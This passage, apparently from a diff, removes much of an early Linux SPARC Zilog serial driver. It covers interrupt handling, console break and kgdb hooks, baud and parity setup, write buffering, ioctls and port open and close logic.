done making modifications, it is not a bad - * idea to do: - * - * gcc -S -DKERNEL -Wall -Wstrict-prototypes -O6 -fomit-frame-pointer serial.c - * - * and look at the resulting assemble code in serial.s. - * - * - Ted Ts'o (tytso@mit.edu), 7-Mar-93 - * ----------------------------------------------------------------------- - */ - -/* - * This routine is used by the interrupt handler to schedule - * processing in the software interrupt portion of the driver. - */ -static _INLINE_ void rs_sched_event(struct sun_serial *info, - int event) -{ - info->event |= 1 << event; - queue_task_irq_off(&info->tqueue, &tq_serial); - mark_bh(SERIAL_BH); -} - -extern void breakpoint(void); /* For the KGDB frame character */ - -static _INLINE_ void receive_chars(struct sun_serial *info, struct pt_regs *regs) -{ - struct tty_struct *tty = info->tty; - unsigned char ch, stat; - - ch = (info->zs_channel->data) & info->parity_mask; - udelay(5); - stat = read_zsreg(info->zs_channel, R1); - udelay(5); - - /* If this is the console keyboard, we need to handle - * L1-A's here. - */ - if(info->cons_keyb) { - if(ch == SUNKBD_RESET) { - l1a_state.kbd_id = 1; - l1a_state.l1_down = 0; - } else if(l1a_state.kbd_id) { - l1a_state.kbd_id = 0; - } else if(ch == SUNKBD_L1) { - l1a_state.l1_down = 1; - } else if(ch == (SUNKBD_L1|SUNKBD_UP)) { - l1a_state.l1_down = 0; - } else if(ch == SUNKBD_A && l1a_state.l1_down) { - /* whee... */ - batten_down_hatches(); - /* Clear the line and continue execution... */ - rs_recv_clear(info->zs_channel); - l1a_state.l1_down = 0; - l1a_state.kbd_id = 0; - return; - } - rs_recv_clear(info->zs_channel); - sunkbd_inchar(ch, stat, regs); - - return; - } - if(info->cons_mouse) { - rs_recv_clear(info->zs_channel); - sun_mouse_inbyte(ch, stat); - return; - } - if(info->is_cons) { - if(ch==0) { /* whee, break received */ - batten_down_hatches(); - rs_recv_clear(info->zs_channel); - return; -#if 0 - } else if (ch == 1) { - show_state(); - return; - } else if (ch == 2) { - show_buffers(); - return; -#endif - } - /* It is a 'keyboard interrupt' ;-) */ - wake_up(&keypress_wait); - } - /* Look for kgdb 'stop' character, consult the gdb documentation - * for remote target debugging and arch/sparc/kernel/sparc-stub.c - * to see how all this works. - */ - if((info->kgdb_channel) && (ch =='\003')) { - breakpoint(); - goto clear_and_exit; - } - - if(!tty) - goto clear_and_exit; - - if (tty->flip.count >= TTY_FLIPBUF_SIZE) - queue_task_irq_off(&tty->flip.tqueue, &tq_timer); - tty->flip.count++; - if(stat & PAR_ERR) - *tty->flip.flag_buf_ptr++ = TTY_PARITY; - else if(stat & Rx_OVR) - *tty->flip.flag_buf_ptr++ = TTY_OVERRUN; - else if(stat & CRC_ERR) - *tty->flip.flag_buf_ptr++ = TTY_FRAME; - else - *tty->flip.flag_buf_ptr++ = 0; /* XXX */ - *tty->flip.char_buf_ptr++ = ch; - - queue_task_irq_off(&tty->flip.tqueue, &tq_timer); - -clear_and_exit: - rs_recv_clear(info->zs_channel); - return; -} - -static _INLINE_ void transmit_chars(struct sun_serial *info) -{ - struct tty_struct *tty = info->tty; - - if (info->x_char) { - /* Send next char */ - zs_put_char(info->zs_channel, info->x_char); - info->x_char = 0; - goto clear_and_return; - } - - if((info->xmit_cnt <= 0) || (tty != 0 && tty->stopped)) { - /* That's peculiar... */ - info->zs_channel->control = RES_Tx_P; - udelay(5); - goto clear_and_return; - } - - /* Send char */ - zs_put_char(info->zs_channel, info->xmit_buf[info->xmit_tail++]); - info->xmit_tail = info->xmit_tail & (SERIAL_XMIT_SIZE-1); - info->xmit_cnt--; - - if (info->xmit_cnt < WAKEUP_CHARS) - rs_sched_event(info, RS_EVENT_WRITE_WAKEUP); - - if(info->xmit_cnt <= 0) { - info->zs_channel->control = RES_Tx_P; - udelay(5); - goto clear_and_return; - } - -clear_and_return: - /* Clear interrupt */ - info->zs_channel->control = RES_H_IUS; - udelay(5); - return; -} - -static _INLINE_ void status_handle(struct sun_serial *info) -{ - unsigned char status; - - /* Get status from Read Register 0 */ - status = info->zs_channel->control; - udelay(5); - /* Clear status condition... */ - info->zs_channel->control = RES_EXT_INT; - udelay(5); - /* Clear the interrupt */ - info->zs_channel->control = RES_H_IUS; - udelay(5); - -#if 0 - if(status & DCD) { - if((info->tty->termios->c_cflag & CRTSCTS) && - ((info->curregs[3] & AUTO_ENAB)==0)) { - info->curregs[3] |= AUTO_ENAB; - write_zsreg(info->zs_channel, 3, info->curregs[3]); - } - } else { - if((info->curregs[3] & AUTO_ENAB)) { - info->curregs[3] &= ~AUTO_ENAB; - write_zsreg(info->zs_channel, 3, info->curregs[3]); - } - } -#endif - /* Whee, if this is console input and this is a - * 'break asserted' status change interrupt, call - * the boot prom. - */ - if((status & BRK_ABRT) && info->break_abort) - batten_down_hatches(); - - /* XXX Whee, put in a buffer somewhere, the status information - * XXX whee whee whee... Where does the information go... - */ - return; -} - -/* - * This is the serial driver's generic interrupt routine - */ -void rs_interrupt(int irq, void *dev_id, struct pt_regs * regs) -{ - struct sun_serial * info = (struct sun_serial *)dev_id; - unsigned char zs_intreg; - int i; - - for (i = 0; i < NUM_SERIAL; i++) { - zs_intreg = read_zsreg(info->zs_channel, 3); - - /* NOTE: The read register 3, which holds the irq status, - * does so for both channels on each chip. Although - * the status value itself must be read from the A - * channel and is only valid when read from channel A. - * Yes... broken hardware... - */ -#define CHAN_A_IRQMASK (CHARxIP | CHATxIP | CHAEXT) -#define CHAN_B_IRQMASK (CHBRxIP | CHBTxIP | CHBEXT) - - /* Channel A -- /dev/ttya or /dev/kbd, could be the console */ - if(zs_intreg & CHAN_A_IRQMASK) { - if (zs_intreg & CHARxIP) - receive_chars(info, regs); - if (zs_intreg & CHATxIP) - transmit_chars(info); - if (zs_intreg & CHAEXT) - status_handle(info); - } - - info=info->zs_next; - - /* Channel B -- /dev/ttyb or /dev/mouse, could be the console */ - if(zs_intreg & CHAN_B_IRQMASK) { - if (zs_intreg & CHBRxIP) - receive_chars(info, regs); - if (zs_intreg & CHBTxIP) - transmit_chars(info); - if (zs_intreg & CHBEXT) - status_handle(info); - } - - info = info->zs_next; - } -} - -/* - * ------------------------------------------------------------------- - * Here ends the serial interrupt routines. - * ------------------------------------------------------------------- - */ - -/* - * This routine is used to handle the "bottom half" processing for the - * serial driver, known also the "software interrupt" processing. - * This processing is done at the kernel interrupt level, after the - * rs_interrupt() has returned, BUT WITH INTERRUPTS TURNED ON. This - * is where time-consuming activities which can not be done in the - * interrupt driver proper are done; the interrupt driver schedules - * them using rs_sched_event(), and they get done here. - */ -static void do_serial_bh(void) -{ - run_task_queue(&tq_serial); -} - -static void do_softint(void *private_) -{ - struct sun_serial *info = (struct sun_serial *) private_; - struct tty_struct *tty; - - tty = info->tty; - if (!tty) - return; - - if (clear_bit(RS_EVENT_WRITE_WAKEUP, &info->event)) { - if ((tty->flags & (1 << TTY_DO_WRITE_WAKEUP)) && - tty->ldisc.write_wakeup) - (tty->ldisc.write_wakeup)(tty); - wake_up_interruptible(&tty->write_wait); - } -} - -/* - * This routine is called from the scheduler tqueue when the interrupt - * routine has signalled that a hangup has occurred. The path of - * hangup processing is: - * - * serial interrupt routine -> (scheduler tqueue) -> - * do_serial_hangup() -> tty->hangup() -> rs_hangup() - * - */ -static void do_serial_hangup(void *private_) -{ - struct sun_serial *info = (struct sun_serial *) private_; - struct tty_struct *tty; - - tty = info->tty; - if (!tty) - return; -#ifdef SERIAL_DEBUG_OPEN - printk("do_serial_hangup<%p: tty-%d\n", - __builtin_return_address(0), info->line); -#endif - - tty_hangup(tty); -} - - -/* - * This subroutine is called when the RS_TIMER goes off. It is used - * by the serial driver to handle ports that do not have an interrupt - * (irq=0). This doesn't work at all for 16450's, as a sun has a Z8530. - */ - -static void rs_timer(void) -{ - printk("rs_timer called\n"); - prom_halt(); - return; -} - -static int startup(struct sun_serial * info) -{ - unsigned long flags; - - if (info->flags & ZILOG_INITIALIZED) - return 0; - - if (!info->xmit_buf) { - info->xmit_buf = (unsigned char *) get_free_page(GFP_KERNEL); - if (!info->xmit_buf) - return -ENOMEM; - } - - save_flags(flags); cli(); - -#ifdef SERIAL_DEBUG_OPEN - printk("Starting up tty-%d (irq %d)...\n", info->line, info->irq); -#endif - - /* - * Clear the FIFO buffers and disable them - * (they will be reenabled in change_speed()) - */ - ZS_CLEARFIFO(info->zs_channel); - info->xmit_fifo_size = 1; - - /* - * Clear the interrupt registers. - */ - info->zs_channel->control = ERR_RES; - udelay(5); - info->zs_channel->control = RES_H_IUS; - udelay(5); - - /* - * Now, initialize the Zilog - */ - zs_rtsdtr(info, 1); - - /* - * Finally, enable sequencing and interrupts - */ - info->curregs[1] |= (info->curregs[1] & ~(RxINT_MASK)) | - (EXT_INT_ENAB | INT_ALL_Rx); - info->curregs[3] |= (RxENAB | Rx8); - /* We enable Tx interrupts as needed. */ - info->curregs[5] |= (TxENAB | Tx8); - info->curregs[9] |= (NV | MIE); - write_zsreg(info->zs_channel, 3, info->curregs[3]); - write_zsreg(info->zs_channel, 5, info->curregs[5]); - write_zsreg(info->zs_channel, 9, info->curregs[9]); - - /* - * And clear the interrupt registers again for luck. - */ - info->zs_channel->control = ERR_RES; - udelay(5); - info->zs_channel->control = RES_H_IUS; - udelay(5); - - if (info->tty) - clear_bit(TTY_IO_ERROR, &info->tty->flags); - info->xmit_cnt = info->xmit_head = info->xmit_tail = 0; - - /* - * Set up serial timers... - */ -#if 0 /* Works well and stops the machine. */ - timer_table[RS_TIMER].expires = jiffies + 2; - timer_active |= 1 << RS_TIMER; -#endif - - /* - * and set the speed of the serial port - */ - change_speed(info); - - info->flags |= ZILOG_INITIALIZED; - restore_flags(flags); - return 0; -} - -/* - * This routine will shutdown a serial port; interrupts are disabled, and - * DTR is dropped if the hangup on close termio flag is on. - */ -static void shutdown(struct sun_serial * info) -{ - unsigned long flags; - - if (!(info->flags & ZILOG_INITIALIZED)) - return; - -#ifdef SERIAL_DEBUG_OPEN - printk("Shutting down serial port %d (irq %d)....", info->line, - info->irq); -#endif - - save_flags(flags); cli(); /* Disable interrupts */ - - if (info->xmit_buf) { - free_page((unsigned long) info->xmit_buf); - info->xmit_buf = 0; - } - - if (info->tty) - set_bit(TTY_IO_ERROR, &info->tty->flags); - - info->flags &= ~ZILOG_INITIALIZED; - restore_flags(flags); -} - -/* - * This routine is called to set the UART divisor registers to match - * the specified baud rate for a serial port. - */ -static void change_speed(struct sun_serial *info) -{ - unsigned short port; - unsigned cflag; - int i; - int brg; - - if (!info->tty || !info->tty->termios) - return; - cflag = info->tty->termios->c_cflag; - if (!(port = info->port)) - return; - i = cflag & CBAUD; - if (cflag & CBAUDEX) { - /* XXX CBAUDEX is not obeyed. - * It is impossible at a 32bits SPARC. - * But we have to report this to user ... someday. - */ - i = B9600; - } - if (baud_table[i]) { - info->zs_baud = baud_table[i]; - info->clk_divisor = 16; - - info->curregs[4] = X16CLK; - info->curregs[11] = TCBR | RCBR; - brg = BPS_TO_BRG(info->zs_baud, ZS_CLOCK/info->clk_divisor); - info->curregs[12] = (brg & 255); - info->curregs[13] = ((brg >> 8) & 255); - info->curregs[14] = BRSRC | BRENAB; - /* } else { */ - /* XXX */ - } - - /* byte size and parity */ - switch (cflag & CSIZE) { - case CS5: - info->curregs[3] &= ~(RxN_MASK); - info->curregs[3] |= Rx5; - info->curregs[5] &= ~(TxN_MASK); - info->curregs[5] |= Tx5; - info->parity_mask = 0x1f; - break; - case CS6: - info->curregs[3] &= ~(RxN_MASK); - info->curregs[3] |= Rx6; - info->curregs[5] &= ~(TxN_MASK); - info->curregs[5] |= Tx6; - info->parity_mask = 0x3f; - break; - case CS7: - info->curregs[3] &= ~(RxN_MASK); - info->curregs[3] |= Rx7; - info->curregs[5] &= ~(TxN_MASK); - info->curregs[5] |= Tx7; - info->parity_mask = 0x7f; - break; - case CS8: - default: /* defaults to 8 bits */ - info->curregs[3] &= ~(RxN_MASK); - info->curregs[3] |= Rx8; - info->curregs[5] &= ~(TxN_MASK); - info->curregs[5] |= Tx8; - info->parity_mask = 0xff; - break; - } - info->curregs[4] &= ~(0x0c); - if (cflag & CSTOPB) { - info->curregs[4] |= SB2; - } else { - info->curregs[4] |= SB1; - } - if (cflag & PARENB) { - info->curregs[4] |= PAR_ENAB; - } else { - info->curregs[4] &= ~PAR_ENAB; - } - if (!(cflag & PARODD)) { - info->curregs[4] |= PAR_EVEN; - } else { - info->curregs[4] &= ~PAR_EVEN; - } - - /* Load up the new values */ - load_zsregs(info, info->curregs); - - return; -} - -/* This is for mouse/keyboard output. - * XXX mouse output??? can we send it commands??? XXX - */ -void kbd_put_char(unsigned char ch) -{ - struct sun_zschannel *chan = zs_kbdchan; - int flags; - - if(!chan) - return; - - save_flags(flags); cli(); - zs_put_char(chan, ch); - restore_flags(flags); -} - -void mouse_put_char(char ch) -{ - struct sun_zschannel *chan = zs_mousechan; - int flags; - - if(!chan) - return; - - save_flags(flags); cli(); - zs_put_char(chan, ch); - restore_flags(flags); -} - - -/* This is for console output over ttya/ttyb */ -static void rs_put_char(char ch) -{ - struct sun_zschannel *chan = zs_conschan; - int flags; - - if(!chan) - return; - - save_flags(flags); cli(); - zs_put_char(chan, ch); - restore_flags(flags); -} - -/* These are for receiving and sending characters under the kgdb - * source level kernel debugger. - */ -void putDebugChar(char kgdb_char) -{ - struct sun_zschannel *chan = zs_kgdbchan; - - while((chan->control & Tx_BUF_EMP)==0) - udelay(5); - chan->data = kgdb_char; -} - -char getDebugChar(void) -{ - struct sun_zschannel *chan = zs_kgdbchan; - - while((chan->control & Rx_CH_AV)==0) - barrier(); - return chan->data; -} - -/* - * Fair output driver allows a process to speak. - */ -static void rs_fair_output(void) -{ - int left; /* Output no more than that */ - unsigned long flags; - struct sun_serial *info = zs_consinfo; - char c; - - if (info == 0) return; - if (info->xmit_buf == 0) return; - - save_flags(flags); cli(); - left = info->xmit_cnt; - while (left != 0) { - c = info->xmit_buf[info->xmit_tail]; - info->xmit_tail = (info->xmit_tail+1) & (SERIAL_XMIT_SIZE-1); - info->xmit_cnt--; - restore_flags(flags); - - rs_put_char(c); - - save_flags(flags); cli(); - left = MIN(info->xmit_cnt, left-1); - } - - /* Last character is being transmitted now (hopefully). */ - zs_conschan->control = RES_Tx_P; - udelay(5); - - restore_flags(flags); - return; -} - -/* - * zs_console_print is registered for printk. - */ -static void zs_console_print(const char *p) -{ - char c; - - while((c=*(p++)) != 0) { - if(c == '\n') - rs_put_char('\r'); - rs_put_char(c); - } - - /* Comment this if you want to have a strict interrupt-driven output */ - rs_fair_output(); - - return; -} - -static void rs_flush_chars(struct tty_struct *tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - unsigned long flags; - - if (serial_paranoia_check(info, tty->device, "rs_flush_chars")) - return; - - if (info->xmit_cnt <= 0 || tty->stopped || tty->hw_stopped || - !info->xmit_buf) - return; - - /* Enable transmitter */ - save_flags(flags); cli(); - info->curregs[1] |= TxINT_ENAB|EXT_INT_ENAB; - write_zsreg(info->zs_channel, 1, info->curregs[1]); - info->curregs[5] |= TxENAB; - write_zsreg(info->zs_channel, 5, info->curregs[5]); - - /* - * Send a first (bootstrapping) character. A best solution is - * to call transmit_chars() here which handles output in a - * generic way. Current transmit_chars() not only transmits, - * but resets interrupts also what we do not desire here. - * XXX Discuss with David. - */ - zs_put_char(info->zs_channel, info->xmit_buf[info->xmit_tail++]); - info->xmit_tail = info->xmit_tail & (SERIAL_XMIT_SIZE-1); - info->xmit_cnt--; - - restore_flags(flags); -} - -static int rs_write(struct tty_struct * tty, int from_user, - const unsigned char *buf, int count) -{ - int c, total = 0; - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - unsigned long flags; - - if (serial_paranoia_check(info, tty->device, "rs_write")) - return 0; - - if (!info || !info->xmit_buf) - return 0; - - save_flags(flags); - while (1) { - cli(); - c = MIN(count, MIN(SERIAL_XMIT_SIZE - info->xmit_cnt - 1, - SERIAL_XMIT_SIZE - info->xmit_head)); - if (c <= 0) - break; - - if (from_user) { - down(&tmp_buf_sem); - copy_from_user(tmp_buf, buf, c); - c = MIN(c, MIN(SERIAL_XMIT_SIZE - info->xmit_cnt - 1, - SERIAL_XMIT_SIZE - info->xmit_head)); - memcpy(info->xmit_buf + info->xmit_head, tmp_buf, c); - up(&tmp_buf_sem); - } else - memcpy(info->xmit_buf + info->xmit_head, buf, c); - info->xmit_head = (info->xmit_head + c) & (SERIAL_XMIT_SIZE-1); - info->xmit_cnt += c; - restore_flags(flags); - buf += c; - count -= c; - total += c; - } - - if (info->xmit_cnt && !tty->stopped && !tty->hw_stopped) { - /* Enable transmitter */ - info->curregs[1] |= TxINT_ENAB|EXT_INT_ENAB; - write_zsreg(info->zs_channel, 1, info->curregs[1]); - info->curregs[5] |= TxENAB; - write_zsreg(info->zs_channel, 5, info->curregs[5]); - } -#if 1 - if (info->xmit_cnt && !tty->stopped && !tty->hw_stopped) { - zs_put_char(info->zs_channel, - info->xmit_buf[info->xmit_tail++]); - info->xmit_tail = info->xmit_tail & (SERIAL_XMIT_SIZE-1); - info->xmit_cnt--; - } -#endif - restore_flags(flags); - return total; -} - -static int rs_write_room(struct tty_struct *tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - int ret; - - if (serial_paranoia_check(info, tty->device, "rs_write_room")) - return 0; - ret = SERIAL_XMIT_SIZE - info->xmit_cnt - 1; - if (ret < 0) - ret = 0; - return ret; -} - -static int rs_chars_in_buffer(struct tty_struct *tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - - if (serial_paranoia_check(info, tty->device, "rs_chars_in_buffer")) - return 0; - return info->xmit_cnt; -} - -static void rs_flush_buffer(struct tty_struct *tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - - if (serial_paranoia_check(info, tty->device, "rs_flush_buffer")) - return; - cli(); - info->xmit_cnt = info->xmit_head = info->xmit_tail = 0; - sti(); - wake_up_interruptible(&tty->write_wait); - if ((tty->flags & (1 << TTY_DO_WRITE_WAKEUP)) && - tty->ldisc.write_wakeup) - (tty->ldisc.write_wakeup)(tty); -} - -/* - * ------------------------------------------------------------ - * rs_throttle() - * - * This routine is called by the upper-layer tty layer to signal that - * incoming characters should be throttled. - * ------------------------------------------------------------ - */ -static void rs_throttle(struct tty_struct * tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; -#ifdef SERIAL_DEBUG_THROTTLE - char buf[64]; - - printk("throttle %s: %d....\n", _tty_name(tty, buf), - tty->ldisc.chars_in_buffer(tty)); -#endif - - if (serial_paranoia_check(info, tty->device, "rs_throttle")) - return; - - if (I_IXOFF(tty)) - info->x_char = STOP_CHAR(tty); - - /* Turn off RTS line */ - cli(); - info->curregs[5] &= ~RTS; - write_zsreg(info->zs_channel, 5, info->curregs[5]); - sti(); -} - -static void rs_unthrottle(struct tty_struct * tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; -#ifdef SERIAL_DEBUG_THROTTLE - char buf[64]; - - printk("unthrottle %s: %d....\n", _tty_name(tty, buf), - tty->ldisc.chars_in_buffer(tty)); -#endif - - if (serial_paranoia_check(info, tty->device, "rs_unthrottle")) - return; - - if (I_IXOFF(tty)) { - if (info->x_char) - info->x_char = 0; - else - info->x_char = START_CHAR(tty); - } - - /* Assert RTS line */ - cli(); - info->curregs[5] |= RTS; - write_zsreg(info->zs_channel, 5, info->curregs[5]); - sti(); -} - -/* - * ------------------------------------------------------------ - * rs_ioctl() and friends - * ------------------------------------------------------------ - */ - -static int get_serial_info(struct sun_serial * info, - struct serial_struct * retinfo) -{ - struct serial_struct tmp; - - if (!retinfo) - return -EFAULT; - memset(&tmp, 0, sizeof(tmp)); - tmp.type = info->type; - tmp.line = info->line; - tmp.port = info->port; - tmp.irq = info->irq; - tmp.flags = info->flags; - tmp.baud_base = info->baud_base; - tmp.close_delay = info->close_delay; - tmp.closing_wait = info->closing_wait; - tmp.custom_divisor = info->custom_divisor; - copy_to_user_ret(retinfo,&tmp,sizeof(*retinfo), -EFAULT); - return 0; -} - -static int set_serial_info(struct sun_serial * info, - struct serial_struct * new_info) -{ - struct serial_struct new_serial; - struct sun_serial old_info; - int retval = 0; - - if (!new_info || copy_from_user(&new_serial,new_info,sizeof(new_serial))) - return -EFAULT; - old_info = *info; - - if (!suser()) { - if ((new_serial.baud_base != info->baud_base) || - (new_serial.type != info->type) || - (new_serial.close_delay != info->close_delay) || - ((new_serial.flags & ~ZILOG_USR_MASK) != - (info->flags & ~ZILOG_USR_MASK))) - return -EPERM; - info->flags = ((info->flags & ~ZILOG_USR_MASK) | - (new_serial.flags & ZILOG_USR_MASK)); - info->custom_divisor = new_serial.custom_divisor; - goto check_and_exit; - } - - if (info->count > 1) - return -EBUSY; - - /* - * OK, past this point, all the error checking has been done. - * At this point, we start making changes..... - */ - - info->baud_base = new_serial.baud_base; - info->flags = ((info->flags & ~ZILOG_FLAGS) | - (new_serial.flags & ZILOG_FLAGS)); - info->type = new_serial.type; - info->close_delay = new_serial.close_delay; - info->closing_wait = new_serial.closing_wait; - -check_and_exit: - retval = startup(info); - return retval; -} - -/* - * get_lsr_info - get line status register info - * - * Purpose: Let user call ioctl() to get info when the UART physically - * is emptied. On bus types like RS485, the transmitter must - * release the bus after transmitting. This must be done when - * the transmit shift register is empty, not be done when the - * transmit holding register is empty. This functionality - * allows an RS485 driver to be written in user space. - */ -static int get_lsr_info(struct sun_serial * info, unsigned int *value) -{ - unsigned char status; - - cli(); - status = info->zs_channel->control; - sti(); - put_user_ret(status,value, -EFAULT); - return 0; -} - -/* - * This routine sends a break character out the serial port. - */ -static void send_break( struct sun_serial * info, int duration) -{ - if (!info->port) - return; - current->state = TASK_INTERRUPTIBLE; - current->timeout = jiffies + duration; - cli(); - write_zsreg(info->zs_channel, 5, (info->curregs[5] | SND_BRK)); - schedule(); - write_zsreg(info->zs_channel, 5, info->curregs[5]); - sti(); -} - -static int rs_ioctl(struct tty_struct *tty, struct file * file, - unsigned int cmd, unsigned long arg) -{ - struct sun_serial * info = (struct sun_serial *)tty->driver_data; - int retval; - - if (serial_paranoia_check(info, tty->device, "rs_ioctl")) - return -ENODEV; - - if ((cmd != TIOCGSERIAL) && (cmd != TIOCSSERIAL) && - (cmd != TIOCSERCONFIG) && (cmd != TIOCSERGWILD) && - (cmd != TIOCSERSWILD) && (cmd != TIOCSERGSTRUCT)) { - if (tty->flags & (1 << TTY_IO_ERROR)) - return -EIO; - } - - switch (cmd) { - case TCSBRK: /* SVID version: non-zero arg --> no break */ - retval = tty_check_change(tty); - if (retval) - return retval; - tty_wait_until_sent(tty, 0); - if (!arg) - send_break(info, HZ/4); /* 1/4 second */ - return 0; - case TCSBRKP: /* support for POSIX tcsendbreak() */ - retval = tty_check_change(tty); - if (retval) - return retval; - tty_wait_until_sent(tty, 0); - send_break(info, arg ? arg*(HZ/10) : HZ/4); - return 0; - case TIOCGSOFTCAR: - put_user_ret(C_CLOCAL(tty) ? 1 : 0, (unsigned long *) arg, -EFAULT); - return 0; - case TIOCSSOFTCAR: - get_user_ret(arg, (unsigned long *) arg, -EFAULT); - tty->termios->c_cflag = - ((tty->termios->c_cflag & ~CLOCAL) | - (arg ? CLOCAL : 0)); - return 0; - case TIOCGSERIAL: - return get_serial_info(info, - (struct serial_struct *) arg); - case TIOCSSERIAL: - return set_serial_info(info, - (struct serial_struct *) arg); - case TIOCSERGETLSR: /* Get line status register */ - return get_lsr_info(info, (unsigned int *) arg); - - case TIOCSERGSTRUCT: - copy_to_user_ret((struct sun_serial *) arg, - info, sizeof(struct sun_serial), -EFAULT); - return 0; - - default: - return -ENOIOCTLCMD; - } - return 0; -} - -static void rs_set_termios(struct tty_struct *tty, struct termios *old_termios) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - - if (tty->termios->c_cflag == old_termios->c_cflag) - return; - - change_speed(info); - - if ((old_termios->c_cflag & CRTSCTS) && - !(tty->termios->c_cflag & CRTSCTS)) { - tty->hw_stopped = 0; - rs_start(tty); - } -} - -/* - * ------------------------------------------------------------ - * rs_close() - * - * This routine is called when the serial port gets closed. First, we - * wait for the last remaining data to be sent. Then, we unlink its - * ZILOG structure from the interrupt chain if necessary, and we free - * that IRQ if nothing is left in the chain. - * ------------------------------------------------------------ - */ -static void rs_close(struct tty_struct *tty, struct file * filp) -{ - struct sun_serial * info = (struct sun_serial *)tty->driver_data; - unsigned long flags; - - if (!info || serial_paranoia_check(info, tty->device, "rs_close")) - return; - - save_flags(flags); cli(); - - if (tty_hung_up_p(filp)) { - restore_flags(flags); - return; - } - -#ifdef SERIAL_DEBUG_OPEN - printk("rs_close tty-%d, count = %d\n", info->line, info->count); -#endif - if ((tty->count == 1) && (info->count != 1)) { - /* - * Uh, oh. tty->count is 1, which means that the tty - * structure will be freed. Info->count should always - * be one in these conditions. If it's greater than - * one, we've got real problems, since it means the - * serial port won't be shutdown. - */ - printk("rs_close: bad serial port count; tty->count is 1, " - "info->count is %d\n", info->count); - info->count = 1; - } - if (--info->count < 0) { - printk("rs_close: bad serial port count for ttys%d: %d\n", - info->line, info->count); - info->count = 0; - } - if (info->count) { - restore_flags(flags); - return; - } - info->flags |= ZILOG_CLOSING; - /* - * Save the termios structure, since this port may have - * separate termios for callout and dialin. - */ - if (info->flags & ZILOG_NORMAL_ACTIVE) - info->normal_termios = *tty->termios; - if (info->flags & ZILOG_CALLOUT_ACTIVE) - info->callout_termios = *tty->termios; - /* - * Now we wait for the transmit buffer to clear; and we notify - * the line discipline to only process XON/XOFF characters. - */ - tty->closing = 1; - if (info->closing_wait != ZILOG_CLOSING_WAIT_NONE) - tty_wait_until_sent(tty, info->closing_wait); - /* - * At this point we stop accepting input. To do this, we - * disable the receive line status interrupts, and tell the - * interrupt driver to stop checking the data ready bit in the - * line status register. - */ - /** if (!info->iscons) ... **/ - info->curregs[3] &= ~RxENAB; - write_zsreg(info->zs_channel, 3, info->curregs[3]); - info->curregs[1] &= ~(RxINT_MASK); - write_zsreg(info->zs_channel, 1, info->curregs[1]); - ZS_CLEARFIFO(info->zs_channel); - - shutdown(info); - if (tty->driver.flush_buffer) - tty->driver.flush_buffer(tty); - if (tty->ldisc.flush_buffer) - tty->ldisc.flush_buffer(tty); - tty->closing = 0; - info->event = 0; - info->tty = 0; - if (tty->ldisc.num != ldiscs[N_TTY].num) { - if (tty->ldisc.close) - (tty->ldisc.close)(tty); - tty->ldisc = ldiscs[N_TTY]; - tty->termios->c_line = N_TTY; - if (tty->ldisc.open) - (tty->ldisc.open)(tty); - } - if (info->blocked_open) { - if (info->close_delay) { - current->state = TASK_INTERRUPTIBLE; - current->timeout = jiffies + info->close_delay; - schedule(); - } - wake_up_interruptible(&info->open_wait); - } - info->flags &= ~(ZILOG_NORMAL_ACTIVE|ZILOG_CALLOUT_ACTIVE| - ZILOG_CLOSING); - wake_up_interruptible(&info->close_wait); -#ifdef SERIAL_DEBUG_OPEN - printk("rs_close tty-%d exiting, count = %d\n", info->line, info->count); -#endif - restore_flags(flags); -} - -/* - * rs_hangup() --- called by tty_hangup() when a hangup is signaled. - */ -void rs_hangup(struct tty_struct *tty) -{ - struct sun_serial * info = (struct sun_serial *)tty->driver_data; - - if (serial_paranoia_check(info, tty->device, "rs_hangup")) - return; - -#ifdef SERIAL_DEBUG_OPEN - printk("rs_hangup<%p: tty-%d, count = %d bye\n", - __builtin_return_address(0), info->line, info->count); -#endif - - rs_flush_buffer(tty); - shutdown(info); - info->event = 0; - info->count = 0; - info->flags &= ~(ZILOG_NORMAL_ACTIVE|ZILOG_CALLOUT_ACTIVE); - info->tty = 0; - wake_up_interruptible(&info->open_wait); -} - -/* - * ------------------------------------------------------------ - * rs_open() and friends - * ------------------------------------------------------------ - */ -static int block_til_ready(struct tty_struct *tty, struct file * filp, - struct sun_serial *info) -{ - struct wait_queue wait = { current, NULL }; - int retval; - int do_clocal = 0; - unsigned char r0; - - /* - * If the device is in the middle of being closed, then block - * until it's done, and then try again. - */ - if (info->flags & ZILOG_CLOSING) { - interruptible_sleep_on(&info->close_wait); -#ifdef SERIAL_DO_RESTART - if (info->flags & ZILOG_HUP_NOTIFY) - return -EAGAIN; - else - return -ERESTARTSYS; -#else - return -EAGAIN; -#endif - } - - /* - * If this is a callout device, then just make sure the normal - * device isn't being used. - */ - if (tty->driver.subtype == SERIAL_TYPE_CALLOUT) { - if (info->flags & ZILOG_NORMAL_ACTIVE) - return -EBUSY; - if ((info->flags & ZILOG_CALLOUT_ACTIVE) && - (info->flags & ZILOG_SESSION_LOCKOUT) && - (info->session != current->session)) - return -EBUSY; - if ((info->flags & ZILOG_CALLOUT_ACTIVE) && - (info->flags & ZILOG_PGRP_LOCKOUT) && - (info->pgrp != current->pgrp)) - return -EBUSY; - info->flags |= ZILOG_CALLOUT_ACTIVE; - return 0; - } - - /* - * If non-blocking mode is set, or the port is not enabled, - * then make the check up front and then exit. - */ - if ((filp->f_flags & O_NONBLOCK) || - (tty->flags & (1 << TTY_IO_ERROR))) { - if (info->flags & ZILOG_CALLOUT_ACTIVE) - return -EBUSY; - info->flags |= ZILOG_NORMAL_ACTIVE; - return 0; - } - - if (info->flags & ZILOG_CALLOUT_ACTIVE) { - if (info->normal_termios.c_cflag & CLOCAL) - do_clocal = 1; - } else { - if (tty->termios->c_cflag & CLOCAL) - do_clocal = 1; - } - - /* - * Block waiting for the carrier detect and the line to become - * free (i.e., not in use by the callout). While we are in - * this loop, info->count is dropped by one, so that - * rs_close() knows when to free things. We restore it upon - * exit, either normal or abnormal. - */ - retval = 0; - add_wait_queue(&info->open_wait, &wait); -#ifdef SERIAL_DEBUG_OPEN - printk("block_til_ready before block: ttys%d, count = %d\n", - info->line, info->count); -#endif - cli(); - if(!tty_hung_up_p(filp)) - info->count--; - sti(); - 